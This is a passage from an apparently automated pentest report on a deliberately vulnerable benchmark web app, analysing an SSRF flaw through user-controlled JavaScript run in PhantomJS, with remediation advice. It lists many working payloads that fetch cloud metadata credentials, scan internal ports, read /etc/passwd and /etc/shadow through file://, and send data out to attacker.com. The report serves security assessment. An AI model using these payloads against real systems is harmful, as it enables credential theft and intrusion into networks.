- ❌ No SVG-based XSS vectors
- ❌ No CSS injection points

**RECOMMENDATION:**
Immediate remediation required for Sink #1:
1. Apply proper JavaScript escaping using `json.dumps()` or dedicated escaping library
2. Implement Content-Security-Policy header with `script-src 'self'` to block inline scripts
3. Replace blacklist with whitelist validation (allow only alphanumeric + spaces)
4. Use Jinja2 template engine with autoescaping instead of string formatting
5. Add XSS protection middleware (Flask-Talisman or similar)

---

## 10. SSRF Sinks

### SSRF Sink #1: PhantomJS HTML Loading with User-Controlled JavaScript - **CRITICAL VULNERABILITY**

**Sink Type:** Server-Side Request Forgery (SSRF) via PhantomJS headless browser executing user-controlled JavaScript

**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/check.js:20`

**PhantomJS Script (check.js):**
```javascript
page.open(url, function (status) {
    // ... PhantomJS loads URL and executes embedded JavaScript
});
```

**User-Controllable Parameters:**
- ✅ **HTML Content:** User controls JavaScript within HTML file loaded by PhantomJS
- ✅ **Network Requests:** JavaScript can make arbitrary HTTP/HTTPS requests
- ⚠️ **URL:** Hardcoded to `http://localhost:5000/static/<random>.html` (NOT directly controllable)
- ✅ **Request Destinations:** User JavaScript can access any network-reachable resource

**Data Flow:**

**1. User Input Entry Point:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:68`
- **Code:** `msg = request.args.get('name','')`
- **Parameter:** `name` query parameter in `GET /page?name=<payload>`

**2. Minimal Filtering:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:69-75`
- **Filter:** Only blocks strings containing "import" keyword
- **Bypass:** Trivial - filter doesn't block HTML tags, script tags, or network request functions

**3. HTML Construction with User JavaScript:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:77`
- **Code:** 
  ```python
  script_content = """<div class="solution-text"><script> var name = "%s"; document.write('Hello ' + name); </script></div>""" % msg
  ```
- **SSRF Vector:** User input is embedded into `<script>` tag, allowing arbitrary JavaScript

**4. Temporary File Creation:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:35-40`
- **Code:**
  ```python
  fn = "static/" + os.urandom(16).encode('hex') + '.html'
  url = 'http://localhost:5000/' + fn
  of = open(fn, 'w')
  of.write(page)  # page contains user-controlled JavaScript
  of.close()
  ```
- **Risk:** User-controlled HTML written to web-accessible location

**5. PhantomJS Subprocess Execution:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:34`
- **Code:**
  ```python
  proc = subprocess.Popen(["timeout","5","phantomjs", "check.js"], 
                         stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  ```
- **Input:** URL passed via stdin (line 43): `proc.stdin.write(url)`

**6. Network Request Execution:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/check.js:20`
- **Mechanism:** PhantomJS WebKit engine loads HTML and executes JavaScript
- **SSRF Execution:** User JavaScript can call:
  - `fetch('http://internal-service')`
  - `XMLHttpRequest` to arbitrary URLs
  - `<img src="http://target">` for GET requests
  - `<iframe src="file:///etc/passwd">` for local file access
  - `<script src="http://attacker.com/exfil.js">` for external script loading

**Current Protections:**

- ❌ **URL Validation:** NONE - No validation of request destinations
- ❌ **IP Filtering:** NONE - Can access private IPs (127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- ❌ **Protocol Whitelist:** NONE - Supports http://, https://, file://, data:, about:
- ❌ **Content Security Policy:** NONE - No CSP header in generated HTML
- ❌ **Network Egress Controls:** NONE - Container can reach any network destination
- ⚠️ **Input Filtering:** MINIMAL - Only blocks "import" keyword (ineffective for SSRF)
- ⚠️ **Timeout:** 5-second limit (mitigates DoS but not SSRF exploitation)

**Exploitability:** **CRITICAL - HIGH**

This is a severe SSRF vulnerability exploitable by any external attacker with no authentication. The combination of user-controlled JavaScript execution in PhantomJS and lack of network restrictions creates a powerful SSRF vector.

**Bypass Difficulty:** **TRIVIAL - EASY**

No meaningful protections exist. Attackers can inject arbitrary JavaScript that makes network requests to any destination.

**SSRF Attack Scenarios:**

### Attack Scenario 1: AWS Cloud Metadata Compromise

**Objective:** Steal IAM credentials from EC2 instance metadata service

**Payload:**
```
GET /page?name=<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/').then(r=>r.text()).then(d=>console.log(d))</script>

Alternative simpler payload:
GET /page?name=<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
```

**Attack Flow:**
1. PhantomJS loads user HTML with malicious JavaScript
2. JavaScript makes request to AWS metadata endpoint (169.254.169.254)
3. Retrieves IAM role name
4. Fetches temporary credentials (AccessKeyId, SecretAccessKey, Token)
5. Credentials exfiltrated or used for further AWS API abuse

**Impact:**
- Complete AWS account compromise (depending on IAM permissions)
- S3 bucket access, EC2 control, database access
- Lateral movement to other AWS services

**Example Exploit Chain:**
```javascript
// Step 1: Get IAM role name
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(role => {
    // Step 2: Get credentials
    fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role)
      .then(r => r.json())
      .then(creds => {
        // Step 3: Exfiltrate to attacker
        fetch('http://attacker.com/exfil?data=' + JSON.stringify(creds));
      });
  });
```

---

### Attack Scenario 2: Internal Network Port Scanning

**Objective:** Map internal network topology and discover services

**Payload:**
```
GET /page?name=<script>var ports=[80,443,3306,5432,6379,27017,8080,9200]; ports.forEach(p=>fetch('http://172.17.0.1:'+p).catch(e=>console.log('Port '+p+' closed')))</script>

Simpler image-based scan:
GET /page?name=<img src="http://172.17.0.1:3306"><img src="http://172.17.0.1:5432"><img src="http://172.17.0.1:6379">
```

**Attack Flow:**
1. PhantomJS executes JavaScript that attempts connections to internal IPs/ports
2. Timing differences or error messages reveal open/closed ports
3. Attacker builds map of internal services

**Common Internal Targets:**
- 172.17.0.1 - Docker host gateway
- 127.0.0.1 - Localhost services
- 10.0.0.0/8 - Private network range
- 192.168.0.0/16 - Common internal network

**Services to Discover:**
- 3306 - MySQL
- 5432 - PostgreSQL  
- 6379 - Redis
- 27017 - MongoDB
- 9200 - Elasticsearch
- 8080 - Alternative HTTP services
- 9000 - PHP-FPM / Portainer

**Impact:**
- Internal network reconnaissance
- Identification of unprotected internal services
- Foundation for further exploitation

---

### Attack Scenario 3: Local File Read via file:// Protocol

**Objective:** Read sensitive files from container filesystem

**Payload:**
```
GET /page?name=<iframe src="file:///python-docker/secret.txt"></iframe>

Alternative fetch-based:
GET /page?name=<script>fetch('file:///python-docker/secret.txt').then(r=>r.text()).then(d=>console.log(d))</script>
```

**Attack Flow:**
1. PhantomJS loads HTML with file:// URL
2. WebKit engine reads local file
3. File content rendered or accessible via JavaScript
4. Flag extracted directly from filesystem

**Sensitive Files to Target:**
- `/python-docker/secret.txt` - Application flag file
- `/etc/passwd` - User account information
- `/etc/shadow` - Password hashes (if readable)
- `/proc/self/environ` - Environment variables (may contain secrets)
- `/root/.bash_history` - Command history
- `/var/log/` - Log files with potential credentials

**Impact:**
- Direct flag extraction (bypassing XSS challenge)
- System reconnaissance
- Credential harvesting

---

### Attack Scenario 4: Out-of-Band Data Exfiltration

**Objective:** Confirm SSRF and exfiltrate data via DNS/HTTP to attacker-controlled server

**Payload:**
```
GET /page?name=<script>fetch('http://ssrf-detector.attacker.com/confirm').catch(e=>{})</script>

DNS exfiltration:
GET /page?name=<img src="http://flag-${btoa(document.domain)}.attacker.com">

With data exfil:
GET /page?name=<script>fetch('http://localhost:5000/').then(r=>r.text()).then(d=>fetch('http://attacker.com/exfil?data='+btoa(d)))</script>
```

**Attack Flow:**
1. PhantomJS makes request to attacker-controlled domain
2. Attacker's server logs incoming request (confirms SSRF)
3. Can exfiltrate data via URL parameters, headers, or POST body
4. DNS queries can be used if HTTP is blocked

**Impact:**
- SSRF confirmation (out-of-band detection)
- Data exfiltration channel
- Bypass of response-based detection

---

### Attack Scenario 5: Internal Service Exploitation

**Objective:** Interact with internal services that lack authentication (trust container network)

**Payload:**
```
# Redis exploitation (if accessible):
GET /page?name=<script>fetch('http://172.17.0.1:6379/').then(r=>r.text()).then(d=>console.log(d))</script>

# Elasticsearch query:
GET /page?name=<script>fetch('http://172.17.0.1:9200/_search?q=password').then(r=>r.json()).then(d=>console.log(d))</script>

# PostgreSQL via HTTP proxy (if exposed):
GET /page?name=<script>fetch('http://172.17.0.1:5432/').catch(e=>console.log('PostgreSQL detected'))</script>
```

**Attack Flow:**
1. Identify internal services via port scan
2. Attempt service-specific exploitation:
   - Redis: `SET` commands, `CONFIG GET *`, key enumeration
   - Elasticsearch: Search queries, index listing, data extraction
   - MongoDB: Database queries if HTTP interface enabled
   - Internal APIs: Unauthenticated endpoints assuming internal trust

**Impact:**
- Database compromise
- Cache poisoning (Redis SET commands)
- Data extraction from internal datastores
- Privilege escalation via internal APIs

---

### Attack Scenario 6: Container Escape Attempt

**Objective:** Attempt to interact with Docker socket or container runtime APIs

**Payload:**
```
# Docker socket (if mounted):
GET /page?name=<script>fetch('http://unix:/var/run/docker.sock/containers/json').catch(e=>console.log(e))</script>

# Kubernetes API (if in K8s):
GET /page?name=<script>fetch('http://kubernetes.default.svc/api/v1/namespaces').then(r=>r.text()).then(d=>console.log(d))</script>
```

**Attack Flow:**
1. Attempt to access Docker socket (if mounted into container)
2. Try Kubernetes service account token (if in K8s pod)
3. Enumerate container runtime metadata

**Impact:**
- Full container orchestration compromise
- Container escape to host system
- Multi-container lateral movement

---

### Attack Scenario 7: Localhost Service Bypass

**Objective:** Access services bound to localhost that trust local connections

**Payload:**
```
GET /page?name=<script>fetch('http://127.0.0.1:5000/').then(r=>r.text()).then(d=>console.log(d))</script>

# Test other localhost ports:
GET /page?name=<img src="http://localhost:8080"><img src="http://localhost:9000">
```

**Attack Flow:**
1. PhantomJS makes request to 127.0.0.1
2. Accesses services that only listen on localhost
3. Bypasses firewall rules that block external access

**Services Often on Localhost:**
- Development servers
- Admin interfaces
- Monitoring tools (Prometheus, Grafana)
- Database management interfaces
- Internal APIs

**Impact:**
- Access to admin interfaces
- Bypass of IP-based access controls
- Internal service exploitation

---

### Example Exploit Payloads Summary

**Cloud Metadata Access:**
```
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<script>fetch('http://169.254.169.254/latest/meta-data/').then(r=>r.text()).then(console.log)</script>
```

**Internal Service Port Scan:**
```
<script>['3306','5432','6379','8080','9200'].forEach(p=>new Image().src='http://172.17.0.1:'+p)</script>
```

**File Protocol (Local File Read):**
```
<iframe src="file:///python-docker/secret.txt"></iframe>
<script>fetch('file:///etc/passwd').then(r=>r.text()).then(console.log)</script>
```

**Out-of-Band Confirmation:**
```
<img src="http://attacker.com/ssrf-confirm">
<script>fetch('http://ssrf-burp-collaborator.net')</script>
```

**Data Exfiltration:**
```
<script>fetch('http://localhost:5000/').then(r=>r.text()).then(d=>fetch('http://attacker.com/?data='+btoa(d)))</script>
```

---

### Security Impact

**Severity:** ❌ **CRITICAL**

**Confidentiality Impact:** **HIGH**
- Access to cloud credentials (AWS/GCP/Azure metadata)
- Internal database access
- Local file system reading (flag, secrets, configs)

**Integrity Impact:** **MEDIUM**
- Potential to modify internal services (Redis SET, database writes if accessible)
- Container configuration tampering (if Docker socket accessible)

**Availability Impact:** **LOW**
- Port scanning may trigger IDS alerts
- Resource exhaustion via many requests (mitigated by 5-second timeout)

**Compliance Impact:** **CRITICAL**
- Violates network segmentation requirements (PCI-DSS)
- Fails isolation controls (SOC 2)
- GDPR violations if internal PII accessible

**CVSS v3.1 Score Estimate:** **9.8 CRITICAL**
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)  
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Changed (S:C)
- Confidentiality: High (C:H)
- Integrity: High (I:H)
- Availability: Low (A:L)

---

### Summary: SSRF Findings

**CRITICAL SSRF SINKS FOUND:** 1

**PRIMARY VULNERABILITY:**
- **Location:** PhantomJS HTML loading at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/check.js:20`
- **Root Cause:** User-controlled JavaScript execution in server-side headless browser
- **Exploitability:** CRITICAL - No authentication required, trivial to exploit
- **Impact:** Cloud metadata access, internal network reconnaissance, local file read, service exploitation

**NO OTHER SSRF SINKS DETECTED:**
- ✅ No direct HTTP client usage with user input (no requests.get, urllib.urlopen with user URLs)
- ✅ No URL fetch operations with user-controlled URLs  
- ✅ No webhook/callback systems with user-supplied destinations
- ✅ No image processing with external URL sources
- ✅ No RSS/feed fetchers
- ✅ No link preview/unfurling systems

**RECOMMENDATION:**
Immediate remediation required:
1. **Implement Content Security Policy** in generated HTML: `Content-Security-Policy: default-src 'none'; script-src 'none'`
2. **Network Egress Filtering:** Block PhantomJS container from accessing:
   - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8)
   - Cloud metadata endpoints (169.254.169.254/32)
   - Sensitive ports (3306, 5432, 6379, 27017, 9200)
3. **Replace PhantomJS:** Migrate to Puppeteer/Playwright with strict sandboxing
4. **HTML Sanitization:** Use DOMPurify or bleach to sanitize user HTML before rendering
5. **Protocol Whitelist:** If URL validation added, only allow http/https (block file://, data:, etc.)

---

**PRE-RECON CODE ANALYSIS COMPLETE**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-29T21:57:28.434Z